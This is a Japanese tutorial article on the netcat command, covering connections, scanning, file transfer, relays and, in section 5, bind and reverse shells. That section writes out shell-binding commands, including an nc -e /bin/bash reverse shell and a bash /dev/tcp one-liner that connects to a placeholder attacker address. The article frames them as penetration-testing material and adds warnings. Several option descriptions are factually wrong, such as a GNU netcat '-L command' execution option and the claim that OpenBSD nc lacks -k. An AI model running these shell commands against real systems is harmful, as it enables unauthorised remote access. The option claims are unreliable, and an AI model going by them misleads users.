【入門】nc コマンドの基本から応用までこれ一本でOK
ネットワーク操作やデバッグに必須のツール、nc
(Netcat)。「ネットワークの便利屋」とも称されるこのコマンドは、ネットワーク接続の確立、データ転送、ポートスキャン、簡易サーバー構築など、多岐にわたるタスクをシンプルに実行できます。一見地味ですが、その汎用性の高さから、システム管理者、開発者、セキュリティエンジニアなど、あらゆるITプロフェッショナルにとって非常に強力な武器となります。
この記事では、LinuxやmacOSなどのUnix系システムに標準、あるいは簡単にインストールできるnc
コマンドについて、その基本的な使い方から、ファイル転送、ポートスキャン、さらには簡易サーバー構築やシェル接続といった応用的なテクニックまで、網羅的に解説します。この記事を読めば、nc
コマンドの可能性を理解し、あなたのネットワーク作業の効率を劇的に向上させることができるでしょう。
さあ、ネットワークの世界への扉を開く鍵となるnc
コマンドをマスターしましょう!
1. nc コマンドとは何か? (Netcat の紹介)
nc
コマンドは、Netcat (ネットワークキャット) と呼ばれるオープンソースのユーティリティです。TCPまたはUDPプロトコルを使用して、ネットワーク接続からのデータの読み書きを行います。その名前が示す通り、ちょうどUnix系システムのcat
コマンドがファイルの内容を標準出力に表示したり、標準入力からファイルに書き込んだりするように、nc
はネットワーク接続をファイルのように扱い、データの入出力を簡単に行えるようにします。
なぜ nc が重要なのか?
nc
コマンドは、そのシンプルさと柔軟性から、様々な場面で活躍します。
- ネットワークデバッグ: 特定のポートが開いているか、サービスが応答しているかを手軽に確認できます。独自のプロトコルや既存のプロトコル(HTTP, SMTPなど)に対して手動でコマンドを送信し、サーバーの応答を確認することも可能です。
- ポートスキャン: ターゲットホストのどのポートが利用可能か、簡易的に調べることができます。
- データ転送: ネットワーク経由でファイルやディレクトリを簡単に転送できます。
scp
やrsync
ほど高機能ではありませんが、手軽さが魅力です。 - 簡易サーバー/クライアントの構築: 標準入出力を利用して、ごく簡単なTCP/UDPサーバーやクライアントをすぐに立ち上げることができます。プログラミングなしにネットワーク通信を試すのに最適です。
- セキュリティテスト: シェルをネットワークにバインドしたり、リバースシェルを確立したりすることで、システムの脆弱性をテストしたり、侵害後のアクセスを維持したりする用途にも利用されます(ただし、悪用は厳禁です)。
- ネットワークパイプ: 他のコマンドの出力をネットワーク経由で転送したり、ネットワークから受信したデータを他のコマンドに渡したりするための「パイプ」として機能します。
nc
は、システムに依存する部分が少なく、非常に軽量であるため、多くのUnix系システムに標準でインストールされています。たとえインストールされていない場合でも、パッケージマネージャーを使えば容易に追加できます。
この記事で学べること
この記事では、以下の内容をステップバイステップで解説します。
nc
コマンドの基本的な書式とクライアント/サーバーとしての使い方。nc
コマンドの主要なオプション(-l
,-p
,-v
,-z
,-w
,-u
,-k
など)の詳細な解説。- 基本的な使い方(テキストチャット、簡易HTTPリクエストなど)の実例。
- 応用的な使い方(ファイル転送、ポートスキャン、簡易プロキシ、シェル接続)の実例。
- 異なるバージョンの
nc
(GNU nc, OpenBSD nc, Ncatなど)の主要な違い。 nc
コマンドを利用する上でのセキュリティ上の注意点。
この記事を読み終える頃には、あなたはnc
コマンドを自在に操り、ネットワーク関連の様々なタスクを効率的にこなせるようになっているはずです。
2. nc コマンドの基本
nc
コマンドの最も基本的な機能は、ネットワーク接続を確立し、その接続に対してデータの読み書きを行うことです。nc
は、接続を開始するクライアントとしても、接続要求を待ち受けるサーバーとしても動作できます。
基本的な書式
nc
コマンドの基本的な書式は以下の通りです。
bash
nc [オプション] [ホスト名] [ポート番号]
[オプション]
:nc
の動作を制御するオプションを指定します。[ホスト名]
: 接続先のホスト名を指定します(クライアントの場合)。サーバーとして動作する場合は不要です。[ポート番号]
: 接続先のポート番号(クライアントの場合)、または待ち受けるポート番号(サーバーの場合)を指定します。
クライアントとしての使い方
nc
をクライアントとして使う場合、特定のホストの特定のポートに接続します。接続が確立されると、nc
は標準入力から読み込んだデータを接続先に送信し、接続先から受信したデータを標準出力に表示します。
例1:特定のホストの特定のポートに接続する
例えば、Webサーバーのポート80に接続してみましょう。
bash
nc example.com 80
このコマンドを実行すると、nc
はexample.com
のTCPポート80への接続を試みます。接続が成功すると、画面は何も表示されない状態で待機状態になります。これは、nc
があなたの標準入力(キーボード入力)を待っている状態です。
ここで、HTTPリクエストを手動で入力してみます。例えば、ルートディレクトリを取得する簡単なHTTP/1.0リクエストを送信するには、以下を入力してEnterキーを2回押します(リクエストヘッダーの終了を示すために空行が必要です)。
“`
GET / HTTP/1.0
“`
送信後、Webサーバーからの応答(HTTPヘッダーとHTMLコンテンツなど)が標準出力に表示されます。Webサーバーはリクエストを処理し終えると接続を閉じることが多いため、応答が表示された後にnc
も終了することが一般的です。
この例は、telnet
コマンドを使ってサービスと手動で対話するのと似ていますが、nc
はTCPだけでなくUDPも扱える点、そして他のコマンドとのパイプが容易である点でより汎用的です。
例2:標準入力をソケットに送る
ファイルの内容や他のコマンドの出力を、パイプやリダイレクトを使ってnc
経由で送信できます。
例えば、簡単なメッセージをポート12345で待ち受けているサーバーに送信する場合。
bash
echo "Hello, Netcat Server!" | nc localhost 12345
このコマンドは、echo
コマンドの出力「Hello, Netcat Server!」をnc
の標準入力に渡し、nc
はそのデータをlocalhost
のポート12345へ送信します。
例3:ソケットからの出力を標準出力に表示する
サーバーから受信したデータをファイルに保存したり、別のコマンドに渡したりすることも可能です。
例えば、ポート12345からデータを受信し、received_data.txt
というファイルに保存する場合。
bash
nc localhost 12345 > received_data.txt
このコマンドは、localhost
のポート12345に接続し、受信したデータを標準出力に表示します。そして、その標準出力がリダイレクトによってreceived_data.txt
に書き込まれます。
これらの基本的な使い方からわかるように、nc
は「標準入力から読み込んでソケットに書き込む」または「ソケットから読み込んで標準出力に書き込む」という、非常にシンプルな I/O モデルを持っています。
サーバーとしての使い方
nc
をサーバーとして使う場合、特定のポートで接続要求を待ち受けます。クライアントからの接続要求を受け付けると、クライアントとの間でデータの送受信が可能になります。サーバーとして動作させるには、-l
オプション(listen:待ち受ける)が必要です。
例4:特定のポートで待ち受ける
TCPポート12345で接続を待ち受ける最も基本的なコマンドです。
bash
nc -l -p 12345
nc -l 12345
と -p
なしでポート番号を指定することもできますが、-p
を明示的に付ける方が分かりやすいでしょう。古いバージョンのnc
では -l
オプションのみでポート番号を指定する場合があります。新しいバージョンでは -l
と -p
を併用するのが一般的です。
このコマンドを実行すると、nc
は指定されたポートで待ち受け状態に入ります。別のターミナルや別のコンピュータからこのポートにnc
などのクライアントで接続すると、サーバー側のnc
とクライアント側のnc
の間でデータのやり取りが可能になります。
例5:クライアントからの入力を受け付け、標準出力に表示する
上記の例4のサーバーが起動している状態で、クライアントから接続し、何か文字列を入力してみましょう。
クライアント側:
bash
nc localhost 12345
クライアント側で Hello from client!
と入力してEnterを押すと、サーバー側のターミナルに Hello from client!
と表示されます。
例6:標準入力をクライアントに送る
サーバー側で標準入力に何かを入力すると、それが接続しているクライアントに送信されます。
上記の例4のサーバーが起動している状態で、クライアントが接続した後、サーバー側のターミナルで Hello from server!
と入力してEnterを押すと、クライアント側のターミナルに Hello from server!
と表示されます。
クライアントが接続を閉じると、デフォルトではサーバー側のnc
も終了します。接続終了後も待ち受けを続けたい場合は、後述する-k
オプションを使用します(GNU ncなど一部のバージョンで利用可能)。
TCP vs UDP
デフォルトでは、nc
はTCPプロトコルを使用します。UDPプロトコルを使用したい場合は、-u
オプションを指定します。
- TCP (
-u
オプションなし): 信頼性のあるコネクション指向のプロトコル。データの順序性や到達が保証されます。 - UDP (
-u
オプションあり): 信頼性の低いコネクションレスのプロトコル。データの順序性や到達は保証されませんが、オーバーヘッドが少なく高速です。ストリーミングやゲームなどで利用されます。
例:UDPポート12345で待ち受けるサーバー
bash
nc -l -u -p 12345
例:UDPクライアントとしてlocalhostのポート12345にデータを送信する
bash
echo "UDP test message" | nc -u localhost 12345
UDPはコネクションレスなので、クライアント側でデータを送信しても、サーバー側でそのデータを受け取る準備ができていなければデータは失われる可能性があります。また、TCPのように「接続確立」という概念がないため、クライアント側は特にエラーを表示することなくすぐに終了することが多いです。サーバー側は待ち受け状態を続けます。
3. 主要なオプションの詳細
nc
コマンドには多くのオプションがあり、これらを組み合わせることで様々なタスクを実行できます。ここでは、特によく使われる主要なオプションを詳しく解説します。
-l
(listen):- 機能:
nc
をサーバーモードにし、指定されたポートで接続を待ち受けます。このオプションがない場合、nc
はデフォルトでクライアントモードになります。 - 使い方:
nc -l -p ポート番号
または単にnc -l ポート番号
(バージョンによる) - 注意点: ほとんどの
nc
のバージョンで、-l
オプションを使用する場合、ホスト名の指定は不要です。ポート番号は必須です。
- 機能:
-p ポート番号
(port):- 機能:
- クライアントモードでは、ローカル側で使用するソースポートを指定します。通常はOSが自動的に割り当てますが、特定のポートから接続したい場合に利用します(例:ファイアウォールテストなど)。
- サーバーモードでは、待ち受けるポート番号を指定します。
- 使い方:
nc [オプション] [ホスト名] [宛先ポート番号]
(クライアントでローカルポート指定),nc -l -p 待ち受けポート番号
(サーバー) - 注意点: クライアント側で
-p
を使用する場合、指定したポートがすでに使用されていない必要があり、また、1024未満の特権ポートを使用するにはスーパーユーザー権限が必要です。サーバー側では-l
と一緒に使用するのが一般的です。
- 機能:
-v
(verbose):- 機能: 詳細な情報を表示します。接続の確立状況やエラーメッセージなどがより詳しく表示されるため、デバッグに非常に役立ちます。複数回重ねて指定すると、さらに詳細な情報が表示されることがあります (
-vv
)。 - 使い方: どのモード、どの操作でも
-v
を付け加えるだけです。nc -v localhost 80
やnc -lv -p 12345
など。 - 例:
nc -v -z example.com 80
のように使うと、ポートが開いているかどうかを確認する際に詳細なメッセージが表示されます。
- 機能: 詳細な情報を表示します。接続の確立状況やエラーメッセージなどがより詳しく表示されるため、デバッグに非常に役立ちます。複数回重ねて指定すると、さらに詳細な情報が表示されることがあります (
-z
(zero-I/O mode / scan for listening daemons):- 機能: 実際にデータを送受信せずに、指定されたポートへの接続が可能かどうか(ポートが開いているか)を確認します。ポートスキャンによく使用されます。接続が確立されるとすぐに切断します。
- 使い方:
nc -z [オプション] ホスト名 ポート番号
またはポート範囲
- 例:
nc -zv example.com 20-25
(TCPポート20から25の範囲をスキャンし、結果を詳細に表示) - 注意点: このオプションは、指定されたポートが「待ち受け状態にある」かどうかを判断するのに役立ちます。ただし、ファイアウォールによって接続試行がブロックされている場合、ポートが閉じているのかファイアウォールで遮断されているのかの区別がつかないことがあります。
-w タイムアウト秒数
(timeout):- 機能: 接続試行や、接続後の読み書き操作のタイムアウトを設定します。指定した秒数内に接続が確立できなかったり、データが送受信できなかったりした場合、
nc
はエラーを表示して終了します。 - 使い方:
nc -w 5 localhost 12345
(5秒のタイムアウトを設定して接続) - 例: ポートスキャンを行う際に、開いていないポートへの接続試行で長時間待たされないように、
-z
オプションと組み合わせて使用するのが一般的です。nc -zv -w 1 example.com 1-100
(各ポートに対し1秒のタイムアウトでスキャン) - 注意点: サーバーモード (
-l
) では、このオプションは接続が確立された後のアイドル状態のタイムアウトとして機能することが多いですが、バージョンによって動作が異なる場合があります。
- 機能: 接続試行や、接続後の読み書き操作のタイムアウトを設定します。指定した秒数内に接続が確立できなかったり、データが送受信できなかったりした場合、
-u
(UDP mode):- 機能: TCPではなく、UDPプロトコルを使用します。
- 使い方:
nc -u [オプション] ホスト名 ポート番号
(クライアント),nc -lu -p ポート番号
(サーバー) - 注意点: UDPはコネクションレスであるため、TCPのような確実な接続確立のステップはありません。
-z
オプションはTCPでのみ有効なことが多く、UDPポートの確認には使えません。
-k
(keep listening):- 機能: サーバーモード (
-l
) で使用した場合、クライアントとの接続が切断された後も、nc
は終了せずに引き続き同じポートで次の接続を待ち受けます。 - 使い方:
nc -lk -p 12345
- 注意点: このオプションは、GNU Netcatなど一部のバージョンでのみ利用可能です。OpenBSD版の
nc
などではサポートされていません。複数のクライアントからの接続を順次処理したい場合に便利です。
- 機能: サーバーモード (
-n
(numeric-only):- 機能: ホスト名に対してDNSルックアップを行わず、IPアドレスのみを使用します。これにより、処理が高速化されることがあります。
- 使い方:
nc -n 192.168.1.100 80
- 注意点: ホスト名解決に問題がある場合や、DNSサーバーへの負荷をかけたくない場合などに利用します。
-L コマンド
(command to execute after connect – GNU nc):- 機能: GNU Netcatの拡張機能です。サーバーモード (
-l
) でクライアントからの接続が確立された後、指定したコマンドを実行し、そのコマンドの標準入出力をクライアントとのソケットに接続します。-e
オプションの代替として導入されました。-k
オプションと併用されることが多いです。 - 使い方:
nc -l -k -p 12345 -L "/bin/bash"
- 注意点: 非常に強力ですが、セキュリティ上のリスクが伴います。クライアントにサーバーのシェルを操作される可能性があるため、信頼できないネットワークやユーザーに対しては絶対に公開しないでください。
-k
と併用しないと、コマンド実行後、接続が切れると終了します。
- 機能: GNU Netcatの拡張機能です。サーバーモード (
-c コマンド
(command to execute after connect – OpenBSD nc):- 機能: OpenBSD Netcatの拡張機能です。サーバーモード (
-l
) またはクライアントモードで接続が確立された後、指定したコマンドを実行し、そのコマンドの標準入出力をソケットに接続します。-e
オプションの代替として導入されました。 - 使い方:
nc -l -p 12345 -c "/bin/sh"
- 注意点: GNU版の
-L
と同様に、セキュリティリスクを伴います。-k
オプションは通常使えず、接続が切れると終了します。-L
は待ち受けを継続しますが、-c
は基本的には1回のみの接続処理に使われます(スクリプトなどでループさせれば継続は可能)。
- 機能: OpenBSD Netcatの拡張機能です。サーバーモード (
-e プログラム
(program to execute after connect – 危険なオプション):- 機能: 古いバージョンの
nc
やNcatなどで利用できる機能です。 接続が確立された後、指定したプログラムを実行し、そのプログラムの標準入出力をソケットにリダイレクトします。これにより、シェルなどを簡単にバインドできます。 - 使い方:
nc -l -p 12345 -e /bin/bash
- 注意点: このオプションはセキュリティ上の重大な脆弱性となる可能性があるため、多くのモダンな
nc
のバージョンでは削除されています。 代わりに、GNU版の-L
やOpenBSD版の-c
が使用されます。特に指定しない限り、使用は避けるべきです。もしあなたのシステムに-e
がある場合でも、使用は最小限にし、リスクを十分に理解してください。
- 機能: 古いバージョンの
これらのオプションを理解すれば、nc
コマンドの様々な機能を使いこなすための基礎は固まります。
4. 基本的な使い方と実例
ここからは、これまでに学んだ基本的な使い方とオプションを使って、実際にnc
コマンドをどのように活用できるか具体的な例を見ていきましょう。
TCP クライアントとして接続し、サービスと対話する
多くのネットワークサービスは、テキストベースのプロトコルを使用しています。nc
を使えば、これらのサービスに対して手動でコマンドを送信し、応答を確認できます。
例7:SMTPサーバーとの対話
SMTPサーバー(通常ポート25)に接続し、手動でメール送信のセッションを開始する例です。
bash
nc -v example.com 25
接続が成功すると、SMTPサーバーはウェルカムメッセージ(例: 220 example.com ESMTP Postfix
)を送信してきます。その後、あなたはSMTPコマンド(HELO
, MAIL FROM:
, RCPT TO:
, DATA
, QUIT
など)を手入力し、SMTPサーバーの応答(2xx, 3xx, 5xxなどのステータスコード)を確認できます。
“`
220 example.com ESMTP Postfix
HELO your_domain.com
250 example.com
MAIL FROM:your_email@your_domain.com
250 2.1.0 Ok
RCPT TO:recipient@example.com
250 2.1.5 Ok
DATA
354 End data with
Subject: Test Mail via nc
This is a test email sent using netcat.
.
250 2.0.0 Ok: queued as A1B2C3D4E5
QUIT
221 2.0.0 Bye
“`
これは、SMTPサービスが正しく動作しているか、特定のメールアドレスが有効かなどをデバッグする際に非常に有用です。他のテキストベースのプロトコル(POP3, IMAP, FTPなど)でも同様のことができます。
簡単なテキストチャット
最も分かりやすいnc
の応用例の一つが、簡単なテキストチャットです。サーバーとクライアントをそれぞれ立ち上げ、双方向通信を行います。
例8:簡単なテキストチャット
まず、一方のコンピュータ(サーバー側)で待ち受けを開始します。
サーバー側 (IPアドレス: 192.168.1.100, ポート: 5000):
bash
nc -lv -p 5000
-v
オプションで接続状況を確認しやすくしています。
次に、もう一方のコンピュータ(クライアント側)から接続します。
クライアント側 (IPアドレス: 192.168.1.101):
bash
nc -v 192.168.1.100 5000
接続が確立されると、サーバー側、クライアント側双方のターミナルで入力したテキストが相手側に表示されるようになります。Ctrl+Cで接続を閉じます。
サーバー側で-k
オプションが使えるバージョンであれば、クライアントが切断してもサーバーは待ち受けを継続できます。
サーバー側 (GNU nc など):
bash
nc -lvk -p 5000
このチャットは、ネットワークが疎通しているか確認したり、一時的に簡単な通信路を確保したりするのに使えます。
簡易HTTPリクエストの送信
前述の例1と同様に、HTTPリクエストを手動で送信し、Webサーバーの応答を取得できます。
例9:簡易HTTPリクエストの送信
Webサーバーのポート80に接続し、ホームページを取得する例です。
bash
echo -e "GET / HTTP/1.0\nHost: example.com\n\n" | nc example.com 80
-e
オプション (echo -e
) は、バックスラッシュエスケープ(\n
改行など)を解釈するために必要です。HTTP/1.0リクエストの後に、Host
ヘッダー(HTTP/1.1以降では必須)と、リクエストヘッダーの終了を示す空行(\n\n
)が必要です。
このコマンドは、nc
が接続後すぐに標準入力(echo
コマンドの出力)を送信し、サーバーからの応答を受け取って標準出力に表示し、接続が閉じられると終了します。これは、Webサーバーが正しく応答しているか、特定のリクエストに対する応答が期待通りかなどを確認するのに役立ちます。
UDPクライアント/サーバーの通信
UDPはコネクションレスですが、nc
を使えばUDPパケットの送受信も手軽に行えます。
例10:UDP通信
まず、サーバー側でUDPポート12345の待ち受けを開始します。
サーバー側 (IPアドレス: 192.168.1.100):
bash
nc -luv -p 12345
-u
でUDPモード、-l
で待ち受け、-v
で詳細表示です。
次に、クライアント側からUDPパケットを送信します。
クライアント側 (IPアドレス: 192.168.1.101):
bash
echo "Hello UDP Server!" | nc -u -w 1 192.168.1.100 12345
-u
でUDPモード、-w 1
は送信後に1秒待ってから終了する(サーバーからの応答を待つ可能性のあるが、UDPではあまり意味がないことが多い)という設定です。
クライアントがメッセージを送信すると、サーバー側のターミナルにそのメッセージが表示されます。UDPは応答を保証しないため、サーバー側からクライアントへの返信が必要な場合は、サーバー側のnc
も入力を待ち受ける必要があります。
サーバー側が入力待ち状態であれば、クライアントからのメッセージを受け取った後、サーバー側ターミナルで何か入力すると、それがクライアント側に送信されます。
UDP通信のデバッグや、特定のUDPサービスへの疎通確認に利用できます。
5. 応用的な使い方と実例
ここからは、nc
コマンドのより強力で応用的な使い方を紹介します。これらのテクニックをマスターすれば、ネットワーク関連の様々な高度なタスクを効率的にこなせるようになります。
ポートスキャン
前述の-z
オプションと-w
オプションを組み合わせることで、ターゲットホスト上のオープンポートを簡易的にスキャンできます。
例11:特定のポート範囲のポートスキャン
ターゲットホストtarget.com
のTCPポート20から100までの範囲で、開いているポートをスキャンする例です。
bash
nc -zv -w 1 target.com 20-100
-z
: データ送受信なしで接続可否を確認-v
: 結果を詳細に表示-w 1
: 各接続試行のタイムアウトを1秒に設定(開いていないポートで長く待たないように)target.com
: スキャン対象のホスト20-100
: スキャンするポートの範囲
このコマンドを実行すると、nc
は指定された範囲内の各ポートに対して順番に接続を試み、接続できたポートとできなかったポートを-v
オプションで表示します。
出力例:
nc: connect to target.com port 20 (tcp) failed: Connection refused
Connection to target.com 21 port [tcp/ftp] succeeded!
nc: connect to target.com port 22 (tcp) failed: Connection refused
Connection to target.com 23 port [tcp/telnet] succeeded!
...
注意点:
nc
によるポートスキャンは、nmap
のような専用のポートスキャナーに比べて機能や性能が限定的です。特に、ステルススキャン(TCP三次ハンドシェイクを完了させないスキャン)のような高度な手法は使えません。- UDPポートのスキャンは、
-z
オプションが効かないため、TCPほど簡単ではありません。UDPポートにデータを送信し、ICMP Port Unreachableなどの応答がないことでポートが開いていると推測する手法がありますが、信頼性は低いです。 - ポートスキャンは、ターゲットホストのログに残る可能性があり、ネットワークによっては禁止されている場合があります。実行する際は、許可された範囲内で行うか、自身の管理下のシステムに対してのみ行ってください。
ファイル転送
nc
は標準入出力とソケットを接続するという特性を活かして、簡単なファイル転送ツールとして利用できます。
例12:サーバー側でファイルを受け取る
ファイルを受信する側のコンピュータ(サーバー側)で、ポート12345で待ち受け、受信したデータをreceived_file.txt
に保存します。
サーバー側:
bash
nc -l -p 12345 > received_file.txt
例13:クライアント側からファイルを送信する
ファイルを送信する側のコンピュータ(クライアント側)で、サーバーのIPアドレスとポート番号を指定して接続し、送信したいファイルの内容をリダイレクトでnc
の標準入力に渡します。
クライアント側:
bash
nc サーバーのIPアドレス 12345 < send_file.txt
クライアントがファイルを送信し終えると、クライアント側のnc
は終了します。サーバー側は接続が切れるまでデータの受信を続け、接続が切れると通常は終了します(-k
オプションがない場合)。
注意点:
- この方法でのファイル転送は、データの整合性チェック(エラー訂正など)を行いません。大きなファイルや信頼性の低いネットワークでの転送には向いていません。
scp
,sftp
,rsync
のような専用ツールの方が推奨されます。 - 複数ファイルを一度に転送したり、ディレクトリ構造を維持したまま転送したりするには、
tar
コマンドなどと組み合わせる必要があります。
例14:tarと組み合わせたディレクトリ転送
ディレクトリをまとめて圧縮・転送し、受信側で展開する例です。
まず、受信側のコンピュータ(サーバー側)で待ち受け、受信データをtar
コマンドに渡して展開します。
サーバー側:
bash
nc -l -p 12345 | tar xvf -
tar xvf -
は、標準入力 (-
) からtarアーカイブを読み込み (x
)、詳細表示 (v
) しながらファイルに展開 (f -
) します。
次に、送信側のコンピュータ(クライアント側)で、送信したいディレクトリをtar
でアーカイブ化し、その出力をnc
経由で送信します。
クライアント側:
bash
tar cvf - directory_to_send | nc サーバーのIPアドレス 12345
tar cvf - directory_to_send
は、指定したディレクトリ (directory_to_send
) をアーカイブ化し (c
)、詳細表示 (v
) しながら標準出力 (-
) に書き出し (f -
) ます。
この方法を使えば、ディレクトリ構造を維持したまま、複数のファイルを含むディレクトリ全体を転送できます。
簡易プロキシサーバー
mkfifo
(名前付きパイプ)と組み合わせることで、nc
は簡易的なプロキシ(リレー)として機能させることができます。
例15:簡易TCPリレー
例えば、ローカルマシンのポート8000への接続を、リモートホストremote_host
のポート80に転送(リレー)するプロキシを作成します。
bash
mkfifo backpipe
nc -l -p 8000 < backpipe | nc remote_host 80 > backpipe
rm backpipe
解説:
1. mkfifo backpipe
: backpipe
という名前付きパイプを作成します。これは、プロセス間通信のための特別なファイルで、一方から書き込まれたデータがもう一方から読み出せるようになります。
2. nc -l -p 8000 < backpipe
: ローカルのポート8000で待ち受け、クライアントからの接続を受け付けます。クライアントから受信したデータはパイプライン (|
) を通して次のnc
コマンドに渡されます。そして、backpipe
から読み込んだデータ(リモートホストからの応答)をクライアントに送信します (< backpipe
)。
3. nc remote_host 80 > backpipe
: remote_host
のポート80に接続します。前のnc
からパイプラインで渡されたデータ(ローカルのクライアントからのリクエスト)をリモートホストに送信します。そして、リモートホストから受信したデータ (> backpipe
) をbackpipe
に書き込みます。
4. rm backpipe
: 不要になった名前付きパイプを削除します。
このコマンドを実行すると、ローカルのポート8000がリレーとして機能し、このポートに接続したクライアントとの通信が全てremote_host
のポート80に転送されるようになります。これは、ファイアウォールを迂回したり、特定のポートへのアクセスを監視したりするのに使われることがあります。ただし、これは非常にシンプルなリレーであり、本格的なプロキシサーバーのような高機能や堅牢性はありません。
注意点: この設定はフォアグラウンドで実行されるため、ターミナルを閉じると停止します。バックグラウンドで実行したり、より頑丈なスクリプトにしたりするには工夫が必要です。
シェルのバインド (Bind Shell) および リバースシェル (Reverse Shell)
nc
コマンドは、システムのシェル(コマンドインタプリタ)をネットワークソケットに接続するという、非常に強力で危険な機能を実行できます。これは主にセキュリティテスト(ペネトレーションテスト)の際に、ターゲットシステムにアクセスするためのバックドアとして利用されます。
繰り返しになりますが、これらの機能は悪用されると深刻なセキュリティ侵害につながります。自己の管理下にあるシステムでのテスト目的以外で、これらのコマンドを実行したり、他人のシステムに対して実行したりすることは絶対にしないでください。
シェルのバインド (Bind Shell)
ターゲットシステム(攻撃される側)で、ポートを開いてシェルをバインドする(紐付ける)方法です。攻撃者はそのポートに接続するだけで、ターゲットシステムのシェルを操作できるようになります。
例16:Bind Shell の実行
ターゲットシステム(サーバー側):
“`bash
危険!信頼できない環境では実行しないでください!
nc -l -p 4444 -e /bin/bash # -e オプションが使える古いバージョン or Ncat
または、GNU Netcat の場合:
bash
危険!信頼できない環境では実行しないでください!
nc -lvk -p 4444 -L “/bin/bash” # -k で接続切断後も待ち受け継続
または、OpenBSD Netcat の場合:
bash
危険!信頼できない環境では実行しないでください!
nc -l -p 4444 -c “/bin/sh”
“`
攻撃者側(クライアント側):
bash
nc ターゲットシステムのIPアドレス 4444
クライアント側で接続が成功すると、ターゲットシステムのシェルプロンプトが表示され(正確にはプロンプトは出ないことが多いですが、コマンドを入力すれば実行されます)、コマンドを実行できるようになります。
リスク: このコマンドを実行したターゲットシステムは、指定したポートが開いている限り、誰からでもシェルにアクセスされる可能性があります。ファイアウォールなどでアクセス元を制限しない限り、非常に危険です。
リバースシェル (Reverse Shell)
ターゲットシステム(攻撃される側)から、攻撃者のコンピュータにシェルを接続させる方法です。これは、ターゲットシステムにファイアウォールがあり、外部からの接続がブロックされている場合に有効です。攻撃者は特定のポートで待ち受け、ターゲットシステムから接続してくるのを待ちます。
例17:Reverse Shell の実行
攻撃者側(サーバー側):まず、シェル接続を受け付けるためにポートを待ち受けます。
“`bash
攻撃者側で実行。待ち受けを開始
nc -lv -p 5555
“`
ターゲットシステム(クライアント側):次に、ターゲットシステムから攻撃者のIPアドレスと待ち受けポートに接続し、シェルを送信します。
“`bash
危険!信頼できない環境では実行しないでください!ターゲットシステムで実行
nc 攻撃者のIPアドレス 5555 -e /bin/bash # -e オプションが使える古いバージョン or Ncat
または、OpenBSD Netcat の場合:
bash
危険!信頼できない環境では実行しないでください!ターゲットシステムで実行
nc 攻撃者のIPアドレス 5555 -c “/bin/sh”
または、`/bin/bash -i` と `/dev/tcp` を使う方法(Netcat不要、Bashの機能):
bash
危険!ターゲットシステムで実行。Bashが使える必要あり。
bash -i >& /dev/tcp/攻撃者のIPアドレス/5555 0>&1
“`
攻撃者側のターミナルにターゲットシステムのシェルが接続され、コマンドを実行できるようになります。
リスク: このコマンドを実行したターゲットシステムは、指定した攻撃者のIPアドレスとポートにシェルを接続しようとします。攻撃者が待ち受けをしていれば、そのままシェルを乗っ取られることになります。こちらも悪用は厳禁です。
補足:-e
, -c
, -L
オプションの違いとセキュリティ
前述のオプション説明でも触れましたが、シェル実行に関連するオプションにはバージョンによって違いがあり、特にセキュリティ上の意味合いが異なります。
-e プログラム
: Ncatや古いバージョンのnc
で使われます。引数処理などに問題があり、セキュリティ上のリスクが高いとされるため、モダンなnc
の多くから削除されました。-c コマンド
: OpenBSD版nc
で使われます。-e
より安全とされますが、こちらも注意が必要です。-L コマンド
: GNU版nc
で使われます。-c
と同様の機能ですが、-k
オプションと組み合わせて接続終了後もシェルをバインドしたまま待ち受け続けることができます。これはテスト目的では便利ですが、恒久的なバックドアとしては極めて危険です。
これらのオプションを使用する際は、ご自身のシステムにインストールされているnc
のバージョンでどのオプションが利用可能か、そしてそれぞれの正確な挙動をman nc
で確認することが重要です。そして何よりも、セキュリティリスクを十分に理解した上で、自己責任において、許可された環境でのみ使用してください。
6. 異なるバージョンの nc
nc
コマンドにはいくつかの異なる実装バージョンが存在します。主なものとしては、GNU Netcat、OpenBSD Netcat、そしてNmapに付属するNcatなどがあります。これらのバージョンは、基本的な機能は共通していますが、サポートしているオプションや細かな挙動に違いがあります。
主なバージョンの特徴
- GNU Netcat: 多くのLinuxディストリビューションでデフォルトとして採用されています。機能が豊富で、特に
-k
(待ち受け継続)や-L
(コマンド実行)などの拡張オプションが特徴です。 - OpenBSD Netcat: OpenBSD由来のバージョンで、その堅牢性とシンプルさで知られています。多くのmacOSシステムで採用されています。
-k
オプションは通常サポートされていませんが、-c
オプションでコマンド実行が可能です。セキュリティを重視し、-e
オプションは削除されています。 - Ncat (Nmap付属): Nmapというネットワークスキャナーに付属するNetcatの実装です。GNU NetcatやOpenBSD Netcatよりもさらに多機能で、SSL/TLSサポート、プロキシ連携、認証などの高度な機能を持っています。
-e
オプションをサポートしていますが、Ncatには代替となるより安全な方法(例:--exec
)も用意されています。Ncatはクロスプラットフォームであり、Windowsでも利用できます。
オプションの違いに注意
前述の-e
, -c
, -L
, -k
オプションのように、バージョンによって利用できるオプションが異なります。スクリプトでnc
を使用する場合や、異なるOS間で同じコマンドを使いたい場合は、どのバージョンのnc
が使われているかを確認し、オプションの互換性を考慮する必要があります。
自身のシステムで使われているnc
のバージョンを確認するには、通常-h
や--help
オプションを使ったり、man nc
を実行したりします。バージョンの情報や利用可能なオプションリストが表示されることが多いです。
例:
bash
nc -h
man nc
特に、シェル実行に関わるオプションはバージョン間の互換性が低く、セキュリティリスクも高いため、使用前にマニュアルをよく読むことが推奨されます。
7. セキュリティ上の注意点
nc
コマンドは非常に強力で便利なツールですが、その機能ゆえに不適切に使用するとセキュリティ上のリスクを招く可能性があります。
- サーバーとして起動する場合のリスク:
-l
オプションでnc
をサーバーとして起動すると、指定したポートが外部に公開されます。特に、-e
,-c
,-L
オプションでシェルなどをバインドしている場合は、そのポートに接続した任意のユーザーがシステム上でコマンドを実行できるようになるため、非常に危険です。信頼できないネットワーク上や、不特定多数からのアクセスがある環境で安易にサーバーモードを使用しないでください。 - 不用意なファイル受信:
-l -p ポート番号 > ファイル名
のようにしてファイル受信の待ち受けをしている場合、攻撃者が悪意のある実行ファイルなどを送信してくる可能性があります。受信したファイルは、内容を十分に確認するまで安易に実行しないでください。 - ファイアウォールの設定:
nc
でポートを開く場合でも、ファイアウォールによって適切にアクセス元が制限されていることを確認してください。不要なポートは閉じておくべきです。 - 使用するプログラムの信頼性: インターネット上で配布されている未知のソースからの
nc
実行ファイルは、悪意のあるコードが含まれている可能性があります。信頼できるソース(OSのパッケージリポジトリなど)からインストールされたnc
を使用してください。 - ポートスキャンの倫理: 他のネットワークに対するポートスキャンは、不審な行動として検知されたり、ネットワークによっては不正アクセスとみなされたりする可能性があります。スキャンを行う際は、必ず対象ネットワークの管理者からの許可を得るか、自身の管理下にあるシステムに対してのみ行ってください。
nc
